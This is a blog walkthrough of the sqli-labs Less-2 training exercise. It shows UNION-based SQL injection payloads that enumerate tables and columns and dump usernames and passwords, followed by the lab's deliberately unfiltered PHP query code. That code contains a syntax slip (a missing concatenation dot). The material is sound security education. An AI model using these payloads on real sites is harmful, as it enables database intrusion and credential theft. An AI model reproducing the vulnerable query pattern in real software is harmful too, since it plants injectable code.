接上篇博客:http://blog.51cto.com/tdcqvip/2060816


来到第二关:


http://127.0.0.1/sqli-labs-master/Less-2/


sqli-labs-master第二关:Error Based- Intiger


访问http://127.0.0.1/sqli-labs-master/Less-2/?id=1


sqli-labs-master第二关:Error Based- Intiger


判断是否有注入点:

and 1 = 1 返回正常

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 1 %23


sqli-labs-master第二关:Error Based- Intiger


and 1 = 2 返回失败

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1 = 2 %23


sqli-labs-master第二关:Error Based- Intiger


说明存在注入点:

order by  n 查看字段

当n=3时返回正确

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3  %23



sqli-labs-master第二关:Error Based- Intiger


当=4时返回错误

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4  %23


sqli-labs-master第二关:Error Based- Intiger


说明字段是3

用union select 进行联合查询:

并用报错的方式显示显示位:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3  %23


sqli-labs-master第二关:Error Based- Intiger


通过上图可以看到显示位在2,3上。

用version()和database()查看php版本和当前网站用的数据库名字


sqli-labs-master第二关:Error Based- Intiger



我们通过上图可以看到数据库是“security” 版本是5.5.53

接下来我们查看数据库security下的表:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' %23


sqli-labs-master第二关:Error Based- Intiger


通过上图可以看到有users表

查看users表里的列

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1, group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

sqli-labs-master第二关:Error Based- Intiger


接下来就是查看username和password里的内容:

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1  union select 1,username,password from users where id = 2 %23

sqli-labs-master第二关:Error Based- Intiger


结束:

声明:源代码被我改动了,所以在注入的时候才会显示出来查询语句


接下来看看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>
 
<body bgcolor="#000000">
 
 
 
 
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
 
 
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
 
 
// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
echo $sql;
echo "<br>";
 
    if($row)
    {
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'$row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
      }
    else 
    {
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";  
    }
}
    else
        
        echo "Please input the ID as parameter with numeric value";
        }
 
?>
 
 
</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>


通过源代码我们可以看到,在连接数据库查询的时候并没有进行任何过滤

与第一关不同的地方就是

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这句,没有“''”符号。


利用方式大致相同。


第三关尽快更新





本文转自 天道酬勤VIP 51CTO博客,原文链接:http://blog.51cto.com/tdcqvip/2061568

相关文章: